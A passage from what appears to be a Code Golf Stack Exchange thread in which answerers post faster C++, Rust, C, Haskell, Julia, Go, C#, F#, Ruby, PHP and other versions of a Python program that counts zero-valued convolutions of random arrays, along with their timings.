LSB(F) and l = MSB(F) uint32_t r = F % ( 1 << n ); // modulo is required because the behaviour of the leftmost bit is implementation defined uint32_t l = ( F >> 16 ) % ( 1 << n ); uint32_t posBits = l & ~r; uint32_t negBits = ~l & r; assert( (posBits & negBits) == 0 ); // calculate which bits in the expression S * F evaluate to +1 unsigned firstPosBits = ((s1 & posBits) | (~s1 & negBits)); // idem for -1 unsigned firstNegBits = ((~s1 & posBits) | (s1 & negBits)); if ( popcnt( firstPosBits ) == popcnt( firstNegBits ) ) { firstZero++; unsigned secondPosBits = ((s2 & posBits) | (~s2 & negBits)); unsigned secondNegBits = ((~s2 & posBits) | (s2 & negBits)); if ( popcnt( secondPosBits ) == popcnt( secondNegBits ) ) { bothZero++; } } } } return std::make_pair(firstZero, bothZero); } int main() { typedef std::chrono::high_resolution_clock clock; int rounds = 1000; std::vector< std::pair<unsigned, unsigned> > out(rounds); // do 100 rounds to get the cpu up to speed.. for( int i = 0; i < 10000; i++ ) { convolve(); } auto start = clock::now(); for( int i = 0; i < rounds; i++ ) { out[i] = convolve(); } auto end = clock::now(); double seconds = std::chrono::duration_cast< std::chrono::microseconds >( end - start ).count() / 1000000.0; #if 0 for( auto pair : out ) std::cout << pair.first << ", " << pair.second << std::endl; #endif std::cout << seconds/rounds*1000 << " msec/round" << std::endl; return 0; } ``` Compile in 64-bit for extra registers. When using the simple random generator the loops in convolve() run without any memory access, all variables are stored in the registers. How it works: rather than storing `S` and `F` as in-memory arrays, it is stored as bits in an uint32\_t. For `S`, the `n` least significant bits are used where an set bit denotes an +1 and an unset bit denotes an -1. `F` requires at least 2 bits to create an distribution of [-1, 0, 0, 1]. This is done by generating random bits and examining the 16 least significant (called `r`) and 16 most significant bits (called `l`). If `l & ~r` we assume that F is +1, if `~l & r` we assume that `F` is -1. Otherwise `F` is 0. This generates the distribution we're looking for. Now we have `S`, `posBits` with an set bit on every location where F == 1 and `negBits` with an set bit on every location where F == -1. We can prove that `F * S` (where \* denotes multiplication) evaluates to +1 under the condition `(S & posBits) | (~S & negBits)`. We can also generate similar logic for all cases where `F * S` evaluates to -1. And finally, we know that `sum(F * S)` evaluates to 0 if and only if there is an equal amount of -1's and +1's in the result. This is very easy to calculate by simply comparing the number of +1 bits and -1 bits. This implementation uses 32 bit ints, and the maximum `n` accepted is 16. It is possible to scale the implementation to 31 bits by modifying the random generate code, and to 63 bits by using uint64\_t instead of uint32\_t. ## edit The folowing convolve function: ``` std::pair<unsigned, unsigned> convolve() { const uint32_t n = 6; const uint32_t iters = 1000; unsigned firstZero = 0; unsigned bothZero = 0; uint32_t fmask = (1 << n) -1; fmask |= fmask << 16; static_assert( n < 16, "packing of F fails when n > 16."); for( unsigned i = 0; i < iters; i++ ) { // generate random bit mess uint32_t F; do { F = genRandom() & fmask; } while ( 0 == ((F % (1 << n)) ^ (F >> 16 )) ); // Assume F is an array with interleaved elements such that F[0] || F[16] is one element // here MSB(F) & ~LSB(F) returns 1 for all elements that are positive // and ~MSB(F) & LSB(F) returns 1 for all elements that are negative // this results in the distribution ( -1, 0, 0, 1 ) // to ease calculations we generate r = LSB(F) and l = MSB(F) uint32_t r = F % ( 1 << n ); // modulo is required because the behaviour of the leftmost bit is implementation defined uint32_t l = ( F >> 16 ) % ( 1 << n ); uint32_t posBits = l & ~r; uint32_t negBits = ~l & r; assert( (posBits & negBits) == 0 ); uint32_t mask = posBits | negBits; uint32_t totalBits = popcnt( mask ); // if the amount of -1 and +1's is uneven, sum(S*F) cannot possibly evaluate to 0 if ( totalBits & 1 ) continue; uint32_t adjF = posBits & ~negBits; uint32_t desiredBits = totalBits / 2; uint32_t S = (1 << (n+1)); // generate all possible N+1 bit strings // 1 = +1 // 0 = -1 while ( S-- ) { // calculate which bits in the expression S * F evaluate to +1 auto firstBits = (S & mask) ^ adjF; auto secondBits = (S & ( mask << 1 ) ) ^ ( adjF << 1 ); bool a = desiredBits == popcnt( firstBits ); bool b = desiredBits == popcnt( secondBits ); firstZero += a; bothZero += a & b; } } return std::make_pair(firstZero, bothZero); } ``` cuts the runtime to 0.160-0.161ms. Manual loop unroll (not pictured above) makes that 0.150. The less trivial n=10, iter=100000 case runs under 250ms. I'm sure i can get it under 50ms by leveraging additional cores but that's too easy. This is done by making the inner loop branch free and swapping the F and S loop. If `bothZero` is not required i can cut down the run time to 0.02ms by sparsely looping over all possible S arrays. [Answer] **Python 2.7 - ~~0.882s~~ 0.283s** **(OP's original: 6.404s)** **Edit:** Steven Rumbalski's optimization by precomputing F values. With this optimization cpython beats pypy's 0.365s. ``` import itertools import operator import random n=6 iters = 1000 firstzero = 0 bothzero = 0 choicesF = filter(any, itertools.product([-1, 0, 0, 1], repeat=n)) for S in itertools.product([-1,1], repeat = n+1): for i in xrange(iters): F = random.choice(choicesF) if not sum(map(operator.mul, F, S[:-1])): firstzero += 1 if not sum(map(operator.mul, F, S[1:])): bothzero += 1 print "firstzero", firstzero print "bothzero", bothzero ``` OP's original code uses such tiny arrays there is no benefit to using Numpy, as this pure python implementation demonstrates. But see also [this numpy implementation](https://codegolf.stackexchange.com/a/26451) which is three times faster again than my code. I also optimize by skipping the rest of the convolution if the first result isn't zero. [Answer] # Rust: 0.011s ### Original Python: 8.3 A straight translation of the original Python. ``` extern crate rand; use rand::Rng; static N: uint = 6; static ITERS: uint = 1000; fn convolve<T: Num>(into: &mut [T], a: &[T], b: &[T]) { // we want `a` to be the longest array if a.len() < b.len() { convolve(into, b, a); return } assert_eq!(into.len(), a.len() - b.len() + 1); for (n,place) in into.mut_iter().enumerate() { for (x, y) in a.slice_from(n).iter().zip(b.iter()) { *place = *place + *x * *y } } } fn main() { let mut first_zero = 0; let mut both_zero = 0; let mut rng = rand::XorShiftRng::new().unwrap(); for s in PlusMinus::new() { for _ in range(0, ITERS) { let mut f = [0, .. N]; while f.iter().all(|x| *x == 0) { for p in f.mut_iter() { match rng.gen::<u32>() % 4 { 0 => *p = -1, 1 | 2 => *p = 0, _ => *p = 1 } } } let mut fs = [0, .. 2]; convolve(fs, s, f); if fs[0] == 0 { first_zero += 1 } if fs.iter().all(|&x| x == 0) { both_zero += 1 } } } println!("{}\n{}", first_zero, both_zero); } /// An iterator over [+-]1 arrays of the appropriate length struct PlusMinus { done: bool, current: [i32, .. N + 1] } impl PlusMinus { fn new() -> PlusMinus { PlusMinus { done: false, current: [-1, .. N + 1] } } } impl Iterator<[i32, .. N + 1]> for PlusMinus { fn next(&mut self) -> Option<[i32, .. N+1]> { if self.done { return None } let ret = self.current; // a binary "adder", that just adds one to a bit vector (where // -1 is the zero, and 1 is the one). for (i, place) in self.current.mut_iter().enumerate() { *place = -*place; if *place == 1 { break } else if i == N { // we've wrapped, so we want to stop after this one self.done = true } } Some(ret) } } ``` * Compiled with `--opt-level=3` * My rust compiler is a recent [nightly](http://www.rust-lang.org/install.html): (`rustc 0.11-pre-nightly (eea4909 2014-04-24 23:41:15 -0700)` to be precise) [Answer] **C++ (VS 2012) - ~~0.026s~~ 0.015s** **Python 2.7.6/Numpy 1.8.1 - 12s** Speedup ~x800. The gap would be a lot smaller if the convolved arrays were very large... ``` #include <vector> #include <iostream> #include <ctime> using namespace std; static unsigned int seed = 35; int my_random() { seed = seed*1664525UL + 1013904223UL; // numerical recipes, 32 bit switch((seed>>30) & 3) { case 0: return 0; case 1: return -1; case 2: return 1; case 3: return 0; } return 0; } bool allzero(const vector<int>& T) { for(auto x : T) { if(x!=0) { return false; } } return true; } void convolve(vector<int>& out, const vector<int>& v1, const vector<int>& v2) { for(size_t i = 0; i<out.size(); ++i) { int result = 0; for(size_t j = 0; j<v2.size(); ++j) { result += v1[i+j]*v2[j]; } out[i] = result; } } void advance(vector<int>& v) { for(auto &x : v) { if(x==-1) { x = 1; return; } x = -1; } } void convolve_random_arrays(void) { const size_t n = 6; const int two_to_n_plus_one = 128; const int iters = 1000; int bothzero = 0; int firstzero = 0; vector<int> S(n+1); vector<int> F(n); vector<int> FS(2); time_t current_time; time(&current_time); seed = current_time; for(auto &x : S) { x = -1; } for(int i=0; i<two_to_n_plus_one; ++i) { for(int j=0; j<iters; ++j) { do { for(auto &x : F) { x = my_random(); } } while(allzero(F)); convolve(FS, S, F); if(FS[0] == 0) { firstzero++; if(FS[1] == 0) { bothzero++; } } } advance(S); } cout << firstzero << endl; // This output can slow things down cout << bothzero << endl; // comment out for timing the algorithm } ``` A few notes: * The random function is being called in the loop so I went for a very light weight linear congruential generator (but generously looked at the MSBs). * This is really just the starting point for an optimized solution. * Didn't take that long to write... * I iterate through all the values of S taking `S[0]` to be the "least significant" digit. Add this main function for a self contained example: ``` int main(int argc, char** argv) { for(int i=0; i<1000; ++i) // run 1000 times for stop-watch { convolve_random_arrays(); } } ``` [Answer] ## C Takes 0.015s on my machine, with OP's original code taking ~ 7.7s. Tried to optimize by generating the random array and convolving in the same loop, but it doesn't seem to make a lot of difference. The first array is generated by taking an integer, write it out in binary, and change all 1 to -1 and all 0 to 1. The rest should be very straightforward. **Edit:** instead of having `n` as an `int`, now we have `n` as a macro-defined constant, so we can use `int arr[n];` instead of `malloc`. **Edit2:** Instead of built-in `rand()` function, this now implements an xorshift PRNG. Also, a lot of conditional statements are removed when generating the random array. Compile instructions: ``` gcc -O3 -march=native -fwhole-program -fstrict-aliasing -ftree-vectorize -Wall ./test.c -o ./test ``` Code: ``` #include <stdio.h> #include <time.h> #define n (6) #define iters (1000) unsigned int x,y=34353,z=57768,w=1564; //PRNG seeds /* xorshift PRNG * Taken from https://en.wikipedia.org/wiki/Xorshift#Example_implementation * Used under CC-By-SA */ int myRand() { unsigned int t; t = x ^ (x << 11); x = y; y = z; z = w; return w = w ^ (w >> 19) ^ t ^ (t >> 8); } int main() { int firstzero=0, bothzero=0; int arr[n+1]; unsigned int i, j; x=(int)time(NULL); for(i=0; i< 1<<(n+1) ; i++) { unsigned int tmp=i; for(j=0; j<n+1; j++) { arr[j]=(tmp&1)*(-2)+1; tmp>>=1; } for(j=0; j<iters; j++) { int randArr[n]; unsigned int k, flag=0; int first=0, second=0; do { for(k=0; k<n; k++) { randArr[k]=(1-(myRand()&3))%2; flag+=(randArr[k]&1); first+=arr[k]*randArr[k]; second+=arr[k+1]*randArr[k]; } } while(!flag); firstzero+=(!first); bothzero+=(!first&&!second); } } printf("firstzero %d\nbothzero %d\n", firstzero, bothzero); return 0; } ``` [Answer] # J I don't expect to beat out any compiled languages, and something tells me it'd take a miraculous machine to get less than 0.09 s with this, but I'd like to submit this J anyway, because it's pretty slick. ``` NB. constants num =: 6 iters =: 1000 NB. convolve NB. take the multiplication table */ NB. then sum along the NE-SW diagonals +//. NB. and keep the longest ones #~ [: (= >./) #/. NB. operate on rows of higher dimensional lists " 1 conv =: (+//. #~ [: (= >./) #/.) @: (*/) " 1 NB. main program S =: > , { (num+1) # < _1 1 NB. all {-1,1}^(num+1) F =: (3&= - 0&=) (iters , num) ?@$ 4 NB. iters random arrays of length num FS =: ,/ S conv/ F NB. make a convolution table FB =: +/ ({. , *./)"1 ] 0 = FS NB. first and both zero ('first zero ',:'both zero ') ,. ":"0 FB NB. output results ``` This takes about 0.5 s on a laptop from the previous decade, only about 20x as fast as the Python in the answer. Most of the time is spent in `conv` because we write it lazily (we compute the entire convolution) and in full generality. Since we know things about `S` and `F`, we can speed things up by making specific optimizations for this program. The best I've been able to come up with is `conv =: ((num, num+1) { +//.)@:(*/)"1`—select specifically the two numbers that correspond from the diagonal sums to the longest elements of the convolution—which approximately halves the time. [Answer] **Perl - 9.3X faster...830% improvement** On my ancient netbook, the OP's code takes 53 seconds to run; Alistair Buxton's version takes about 6.5 seconds, and the following Perl version takes about 5.7 seconds. ``` use v5.10; use strict; use warnings; use Algorithm::Combinatorics qw( variations_with_repetition ); use List::Util qw( any sum ); use List::MoreUtils qw( pairwise ); my $n = 6; my $iters = 1000; my $firstzero = 0; my $bothzero = 0; my $variations = variations_with_repetition([-1, 1], $n+1); while (my $S = $variations->next) { for my $i (1 .. $iters) { my @F; until (@F and any { $_ } @F) { @F = map +((-1,0,0,1)[rand 4]), 1..$n; } # The pairwise function doesn't accept array slices, # so need to copy into a temp array @S0 my @S0 = @$S[0..$n-1]; unless (sum pairwise { $a * $b } @F, @S0) { $firstzero++; my @S1 = @$S[1..$n]; # copy again :-( $bothzero++ unless sum pairwise { $a * $b } @F, @S1; } } } say "firstzero ", $firstzero; say "bothzero ", $bothzero; ``` [Answer] Python 2.7 - numpy 1.8.1 with mkl bindings - 0.086s (OP's original: 6.404s) (Buxton's pure python: 0.270s) ``` import numpy as np import itertools n=6 iters = 1000 #Pack all of the Ses into a single array S = np.array( list(itertools.product([-1,1], repeat=n+1)) ) # Create a whole array of test arrays, oversample a bit to ensure we # have at least (iters) of them F = np.random.rand(int(iters*1.1),n) F = ( F < 0.25 )*-1 + ( F > 0.75 )*1 goodrows = (np.abs(F).sum(1)!=0) assert goodrows.sum() > iters, "Got very unlucky" # get 1000 cases that aren't all zero F = F[goodrows][:iters] # Do the convolution explicitly for the two # slots, but on all of the Ses and Fes at the # same time firstzeros = (F[:,None,:]*S[None,:,:-1]).sum(-1)==0 secondzeros = (F[:,None,:]*S[None,:,1:]).sum(-1)==0 firstzero_count = firstzeros.sum() bothzero_count = (firstzeros * secondzeros).sum() print "firstzero", firstzero_count print "bothzero", bothzero_count ``` As Buxton points out, OP's original code uses such tiny arrays there is no benefit to using Numpy. This implementation leverages numpy by doing all of the F and S cases at once in an array oriented way. This combined with mkl bindings for python leads to a very fast implementation. Note also that just loading the libraries and starting the interpreter takes 0.076s so the actual computation is taking ~ 0.01 seconds, similar to the C++ solution. [Answer] # MATLAB 0.024s Computer 1 * Original Code: ~ 3.3 s * Alistar Buxton's Code: ~ 0.51 s * Alistar Buxton's new Code: ~0.25 s * Matlab Code: ~ 0.024 s (Matlab already running) Computer 2 * Original Code: ~ 6.66 s * Alistar Buxton's Code: ~ 0.64 s * Alistar Buxton's new Code: ? * Matlab: ~ 0.07 s (Matlab already running) * Octave: ~ 0.07 s I decided to give the oh so slow Matlab a try. If you know how, you can get rid of most of the loops (in Matlab), which makes it quite fast. However, the memory requirements are higher than for looped solutions but this will not be an issue if you don't have very large arrays... ``` function call_convolve_random_arrays tic convolve_random_arrays toc end function convolve_random_arrays n = 6; iters = 1000; firstzero = 0; bothzero = 0; rnd = [-1, 0, 0, 1]; S = -1 *ones(1, n + 1); IDX1 = 1:n; IDX2 = IDX1 + 1; for i = 1:2^(n + 1) F = rnd(randi(4, [iters, n])); sel = ~any(F,2); while any(sel) F(sel, :) = rnd(randi(4, [sum(sel), n])); sel = ~any(F,2); end sum1 = F * S(IDX1)'; sel = sum1 == 0; firstzero = firstzero + sum(sel); sum2 = F(sel, :) * S(IDX2)'; sel = sum2 == 0; bothzero = bothzero + sum(sel); S = permute(S); end fprintf('firstzero %i \nbothzero %i \n', firstzero, bothzero); end function x = permute(x) for i=1:length(x) if(x(i)==-1) x(i) = 1; return end x(i) = -1; end end ``` Here is what I do: * use Kyle Kanos function to permute through S * calculate all n \* iters random numbers at once * map 1 to 4 to [-1 0 0 1] * use Matrix multiplication (elementwise sum(F \* S(1:5)) is equal to matrix multiplication of F \* S(1:5)' * for bothzero: only calculate members that fullfill the first condition I assume you don't have matlab, which is too bad as I really would have liked to see how it compares... (The function can be slower the first time you run it.) [Answer] ## Haskell: ~2000x speedup per core Compile with 'ghc -O3 -funbox-strict-fields -threaded -fllvm', and run with '+RTS -Nk' where k is the number of cores on your machine. ``` import Control.Parallel.Strategies import Data.Bits import Data.List import Data.Word import System.Random n = 6 :: Int iters = 1000 :: Int data G = G !Word !Word !Word !Word deriving (Eq, Show) gen :: G -> (Word, G) gen (G x y z w) = let t = x `xor` (x `shiftL` 11) w' = w `xor` (w `shiftR` 19) `xor` t `xor` (t `shiftR` 8) in (w', G y z w w') mask :: Word -> Word mask = (.&.) $ (2 ^ n) - 1 gen_nonzero :: G -> (Word, G) gen_nonzero g = let (x, g') = gen g a = mask x in if a == 0 then gen_nonzero g' else (a, g') data F = F {zeros :: !Word, posneg :: !Word} deriving (Eq, Show) gen_f :: G -> (F, G) gen_f g = let (a, g') = gen_nonzero g (b, g'') = gen g' in (F a $ mask b, g'') inner :: Word -> F -> Int inner s (F zs pn) = let s' = complement $ s `xor` pn ones = s' .&. zs negs = (complement s') .&. zs in popCount ones - popCount negs specialised_convolve :: Word -> F -> (Int, Int) specialised_convolve s f@(F zs pn) = (inner s f', inner s f) where f' = F (zs `shiftL` 1) (pn `shiftL` 1) ss :: [Word] ss = [0..2 ^ (n + 1) - 1] main_loop :: [G] -> (Int, Int) main_loop gs = foldl1' (\(fz, bz) (fz', bz') -> (fz + fz', bz + bz')) . parMap rdeepseq helper $ zip ss gs where helper (s, g) = go 0 (0, 0) g where go k u@(fz, bz) g = if k == iters then u else let (f, g') = gen_f g v = case specialised_convolve s f of (0, 0) -> (fz + 1, bz + 1) (0, _) -> (fz + 1, bz) _ -> (fz, bz) in go (k + 1) v g' seed :: IO G seed = do std_g <- newStdGen let [x, y, z, w] = map fromIntegral $ take 4 (randoms std_g :: [Int]) return $ G x y z w main :: IO () main = (sequence $ map (const seed) ss) >>= print . main_loop ``` [Answer] # Julia: 0.30 s # Op's Python: 21.36 s (Core2 duo) **71x speedup** ``` function countconv() n = 6 iters = 1000 firstzero = 0 bothzero = 0 cprod= Iterators.product(fill([-1,1], n+1)...) F=Array(Float64,n); P=[-1. 0. 0. 1.] for S in cprod Sm=[S...] for i = 1:iters F=P[rand(1:4,n)] while all(F==0) F=P[rand(1:4,n)] end if dot(reverse!(F),Sm[1:end-1]) == 0 firstzero += 1 if dot(F,Sm[2:end]) == 0 bothzero += 1 end end end end return firstzero,bothzero end ``` I did some modifications of Arman's Julia answer: First of all, I wrapped it in a function, as global variables make it hard for Julia's type inference and JIT: A global variable can change its type at any time, and must be checked every operation. Then, I got rid of the anonymous functions and array comprehensions. They aren't really necessary, and are still pretty slow. Julia is faster with lower-level abstractions right now. There's lots more ways to make it faster, but this does a decent job. [Answer] Ok I am posting this just because I feel Java needs to be represented here. I am terrible with other languages and I confess to not understand the problem exactly, so I will need some help to fix this code. I stole most of the code ace's C example, and then borrowed some snippets from others. I hope that isn't a faux pas... One thing I would like to point out is that languages that optimize at run time need to be run several/many times to get up to full speed. I think it is justified to take the fully optimized speed (or at least the average speed) because most things you are concerned with running fast will be run a bunch of times. The code still needs to be fixed, but I ran it anyways to see what times I would get. Here are the results on an Intel(R) Xeon(R) CPU E3-1270 V2 @ 3.50GHz on Ubuntu running it 1000 times: server:/tmp# time java8 -cp . Tester firstzero 40000 bothzero 20000 first run time: 41 ms last run time: 4 ms real 0m5.014s user 0m4.664s sys 0m0.268s Here is my crappy code: ``` public class Tester { public static void main( String[] args ) { long firstRunTime = 0; long lastRunTime = 0; String testResults = null; for( int i=0 ; i<1000 ; i++ ) { long timer = System.currentTimeMillis(); testResults = new Tester().runtest(); lastRunTime = System.currentTimeMillis() - timer; if( i ==0 ) { firstRunTime = lastRunTime; } } System.err.println( testResults ); System.err.println( "first run time: " + firstRunTime + " ms" ); System.err.println( "last run time: " + lastRunTime + " ms" ); } private int x,y=34353,z=57768,w=1564; public String runtest() { int n = 6; int iters = 1000; //#define iters (1000) //PRNG seeds /* xorshift PRNG * Taken from https://en.wikipedia.org/wiki/Xorshift#Example_implementation * Used under CC-By-SA */ int firstzero=0, bothzero=0; int[] arr = new int[n+1]; int i=0, j=0; x=(int)(System.currentTimeMillis()/1000l); for(i=0; i< 1<<(n+1) ; i++) { int tmp=i; for(j=0; j<n+1; j++) { arr[j]=(tmp&1)*(-2)+1; tmp>>=1; } for(j=0; j<iters; j++) { int[] randArr = new int[n]; int k=0; long flag = 0; int first=0, second=0; do { for(k=0; k<n; k++) { randArr[k]=(1-(myRand()&3))%2; flag+=(randArr[k]&1); first+=arr[k]*randArr[k]; second+=arr[k+1]*randArr[k]; } } while(allzero(randArr)); if( first == 0 ) { firstzero+=1; if( second == 0 ) { bothzero++; } } } } return ( "firstzero " + firstzero + "\nbothzero " + bothzero + "\n" ); } private boolean allzero(int[] arr) { for(int x : arr) { if(x!=0) { return false; } } return true; } public int myRand() { long t; t = x ^ (x << 11); x = y; y = z; z = w; return (int)( w ^ (w >> 19) ^ t ^ (t >> 8)); } } ``` And I tried running the python code after upgrading python and installing python-numpy but I get this: ``` server:/tmp# python tester.py Traceback (most recent call last): File "peepee.py", line 15, in <module> F = np.random.choice(np.array([-1,0,0,1], dtype=np.int8), size = n) AttributeError: 'module' object has no attribute 'choice' ``` [Answer] Golang version 45X of python on my machine on below Golang codes: ``` package main import ( "fmt" "time" ) const ( n = 6 iters = 1000 ) var ( x, y, z, w = 34353, 34353, 57768, 1564 //PRNG seeds ) /* xorshift PRNG * Taken from https://en.wikipedia.org/wiki/Xorshift#Example_implementation * Used under CC-By-SA */ func myRand() int { var t uint t = uint(x ^ (x << 11)) x, y, z = y, z, w w = int(uint(w^w>>19) ^ t ^ (t >> 8)) return w } func main() { var firstzero, bothzero int var arr [n + 1]int var i, j int x = int(time.Now().Unix()) for i = 0; i < 1<<(n+1); i = i + 1 { tmp := i for j = 0; j < n+1; j = j + 1 { arr[j] = (tmp&1)*(-2) + 1 tmp >>= 1 } for j = 0; j < iters; j = j + 1 { var randArr [n]int var flag uint var k, first, second int for { for k = 0; k < n; k = k + 1 { randArr[k] = (1 - (myRand() & 3)) % 2 flag += uint(randArr[k] & 1) first += arr[k] * randArr[k] second += arr[k+1] * randArr[k] } if flag != 0 { break } } if first == 0 { firstzero += 1 if second == 0 { bothzero += 1 } } } } println("firstzero", firstzero, "bothzero", bothzero) } ``` and the below python codes copyed from above: ``` import itertools import operator import random n=6 iters = 1000 firstzero = 0 bothzero = 0 choicesF = filter(any, itertools.product([-1, 0, 0, 1], repeat=n)) for S in itertools.product([-1,1], repeat = n+1): for i in xrange(iters): F = random.choice(choicesF) if not sum(map(operator.mul, F, S[:-1])): firstzero += 1 if not sum(map(operator.mul, F, S[1:])): bothzero += 1 print "firstzero", firstzero print "bothzero", bothzero ``` and the time below: ``` $time python test.py firstzero 27349 bothzero 12125 real 0m0.477s user 0m0.461s sys 0m0.014s $time ./hf firstzero 27253 bothzero 12142 real 0m0.011s user 0m0.008s sys 0m0.002s ``` [Answer] # C# 0.135s C# based on Alistair Buxton's [plain python](https://codegolf.stackexchange.com/a/26337/4163): 0.278s Parallelised C#: 0.135s Python from the question: 5.907s Alistair's plain python: 0.853s I'm not actually certain this implementation is correct - its output is different, if you look at the results down at the bottom. There's certainly more optimal algorithms. I just decided to use a very similar algorithm to the Python one. ### Single-threaded C ``` using System; using System.Collections.Generic; using System.Linq; using System.Text; namespace ConvolvingArrays { static class Program { static void Main(string[] args) { int n=6; int iters = 1000; int firstzero = 0; int bothzero = 0; int[] arraySeed = new int[] {-1, 1}; int[] randomSource = new int[] {-1, 0, 0, 1}; Random rand = new Random(); foreach (var S in Enumerable.Repeat(arraySeed, n+1).CartesianProduct()) { for (int i = 0; i < iters; i++) { var F = Enumerable.Range(0, n).Select(_ => randomSource[rand.Next(randomSource.Length)]); while (!F.Any(f => f != 0)) { F = Enumerable.Range(0, n).Select(_ => randomSource[rand.Next(randomSource.Length)]); } if (Enumerable.Zip(F, S.Take(n), (f, s) => f * s).Sum() == 0) { firstzero++; if (Enumerable.Zip(F, S.Skip(1), (f, s) => f * s).Sum() == 0) { bothzero++; } } } } Console.WriteLine("firstzero {0}", firstzero); Console.WriteLine("bothzero {0}", bothzero); } // itertools.product? // http://ericlippert.com/2010/06/28/computing-a-cartesian-product-with-linq/ static IEnumerable<IEnumerable<T>> CartesianProduct<T> (this IEnumerable<IEnumerable<T>> sequences) { IEnumerable<IEnumerable<T>> emptyProduct = new[] { Enumerable.Empty<T>() }; return sequences.Aggregate( emptyProduct, (accumulator, sequence) => from accseq in accumulator from item in sequence select accseq.Concat(new[] { item })); } } } ``` ### Parallel C#: ``` using System; using System.Collections.Concurrent; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading; using System.Threading.Tasks; namespace ConvolvingArrays { static class Program { static void Main(string[] args) { int n=6; int iters = 1000; int firstzero = 0; int bothzero = 0; int[] arraySeed = new int[] {-1, 1}; int[] randomSource = new int[] {-1, 0, 0, 1}; ConcurrentBag<int[]> results = new ConcurrentBag<int[]>(); // The next line iterates over arrays of length n+1 which contain only -1s and 1s Parallel.ForEach(Enumerable.Repeat(arraySeed, n + 1).CartesianProduct(), (S) => { int fz = 0; int bz = 0; ThreadSafeRandom rand = new ThreadSafeRandom(); for (int i = 0; i < iters; i++) { var F = Enumerable.Range(0, n).Select(_ => randomSource[rand.Next(randomSource.Length)]); while (!F.Any(f => f != 0)) { F = Enumerable.Range(0, n).Select(_ => randomSource[rand.Next(randomSource.Length)]); } if (Enumerable.Zip(F, S.Take(n), (f, s) => f * s).Sum() == 0) { fz++; if (Enumerable.Zip(F, S.Skip(1), (f, s) => f * s).Sum() == 0) { bz++; } } } results.Add(new int[] { fz, bz }); }); foreach (int[] res in results) { firstzero += res[0]; bothzero += res[1]; } Console.WriteLine("firstzero {0}", firstzero); Console.WriteLine("bothzero {0}", bothzero); } // itertools.product? // http://ericlippert.com/2010/06/28/computing-a-cartesian-product-with-linq/ static IEnumerable<IEnumerable<T>> CartesianProduct<T> (this IEnumerable<IEnumerable<T>> sequences) { IEnumerable<IEnumerable<T>> emptyProduct = new[] { Enumerable.Empty<T>() }; return sequences.Aggregate( emptyProduct, (accumulator, sequence) => from accseq in accumulator from item in sequence select accseq.Concat(new[] { item })); } } // http://stackoverflow.com/a/11109361/1030702 public class ThreadSafeRandom { private static readonly Random _global = new Random(); [ThreadStatic] private static Random _local; public ThreadSafeRandom() { if (_local == null) { int seed; lock (_global) { seed = _global.Next(); } _local = new Random(seed); } } public int Next() { return _local.Next(); } public int Next(int maxValue) { return _local.Next(maxValue); } } } ``` ## Test output: ### Windows (.NET) The C# is much faster on Windows. Probably because .NET is faster than mono. User and sys timing doesn't seem to work (used `git bash` for timing). ``` $ time /c/Python27/python.exe numpypython.py firstzero 27413 bothzero 12073 real 0m5.907s user 0m0.000s sys 0m0.000s $ time /c/Python27/python.exe plainpython.py firstzero 26983 bothzero 12033 real 0m0.853s user 0m0.000s sys 0m0.000s $ time ConvolvingArrays.exe firstzero 28526 bothzero 6453 real 0m0.278s user 0m0.000s sys 0m0.000s $ time ConvolvingArraysParallel.exe firstzero 28857 bothzero 6485 real 0m0.135s user 0m0.000s sys 0m0.000s ``` ### Linux (mono) ``` bob@phoebe:~/convolvingarrays$ time python program.py firstzero 27059 bothzero 12131 real 0m11.932s user 0m11.912s sys 0m0.012s bob@phoebe:~/convolvingarrays$ mcs -optimize+ -debug- program.cs bob@phoebe:~/convolvingarrays$ time mono program.exe firstzero 28982 bothzero 6512 real 0m1.360s user 0m1.532s sys 0m0.872s bob@phoebe:~/convolvingarrays$ mcs -optimize+ -debug- parallelprogram.cs bob@phoebe:~/convolvingarrays$ time mono parallelprogram.exe firstzero 28857 bothzero 6496 real 0m0.851s user 0m2.708s sys 0m3.028s ``` [Answer] # F# solution Runtime is 0.030s when compiled to x86 on the CLR Core i7 4 (8) @ 3.4 Ghz I have no idea if the code is correct. * Functional optimization (inline fold) -> 0.026s * Building via Console Project -> 0.022s * Added a better algorithm for generation of the permutation arrays -> **0.018s** * Mono for Windows -> 0.089s * Running Alistair's Python script -> 0.259s ``` let inline ffoldi n f state = let mutable state = state for i = 0 to n - 1 do state <- f state i state let product values n = let p = Array.length values Array.init (pown p n) (fun i -> (Array.zeroCreate n, i) |> ffoldi n (fun (result, i') j -> result.[j] <- values.[i' % p] result, i' / p ) |> fst ) let convolute signals filter = let m = Array.length signals let n = Array.length filter let len = max m n - min m n + 1 Array.init len (fun offset -> ffoldi n (fun acc i -> acc + filter.[i] * signals.[m - 1 - offset - i] ) 0 ) let n = 6 let iters = 1000 let next = let arrays = product [|-1; 0; 0; 1|] n |> Array.filter (Array.forall ((=) 0) >> not) let rnd = System.Random() fun () -> arrays.[rnd.Next arrays.Length] let signals = product [|-1; 1|] (n + 1) let firstzero, bothzero = ffoldi signals.Length (fun (firstzero, bothzero) i -> let s = signals.[i] ffoldi iters (fun (first, both) _ -> let f = next() match convolute s f with | [|0; 0|] -> first + 1, both + 1 | [|0; _|] -> first + 1, both | _ -> first, both ) (firstzero, bothzero) ) (0, 0) printfn "firstzero %i" firstzero printfn "bothzero %i" bothzero ``` [Answer] ## Ruby **Ruby (2.1.0) 0.277s** **Ruby (2.1.1) 0.281s** **Python (Alistair Buxton) 0.330s** **Python (alemi) 0.097s** ``` n = 6 iters = 1000 first_zero = 0 both_zero = 0 choices = [-1, 0, 0, 1].repeated_permutation(n).select{|v| [0] != v.uniq} def convolve(v1, v2) [0, 1].map do |i| r = 0 6.times do |j| r += v1[i+j] * v2[j] end r end end [-1, 1].repeated_permutation(n+1) do |s| iters.times do f = choices.sample fs = convolve s, f if 0 == fs[0] first_zero += 1 if 0 == fs[1] both_zero += 1 end end end end puts 'firstzero %i' % first_zero puts 'bothzero %i' % both_zero ``` [Answer] # *thread wouldnt be complete without* PHP ## 6.6x faster ### PHP v5.5.9 - ~~1.223~~ 0.646 sec; ### vs ### Python v2.7.6 - 8.072 sec ``` <?php $n = 6; $iters = 1000; $firstzero = 0; $bothzero = 0; $x=time(); $y=34353; $z=57768; $w=1564; //PRNG seeds function myRand() { global $x; global $y; global $z; global $w; $t = $x ^ ($x << 11); $x = $y; $y = $z; $z = $w; return $w = $w ^ ($w >> 19) ^ $t ^ ($t >> 8); } function array_cartesian() { $_ = func_get_args(); if (count($_) == 0) return array(); $a = array_shift($_); if (count($_) == 0) $c = array(array()); else $c 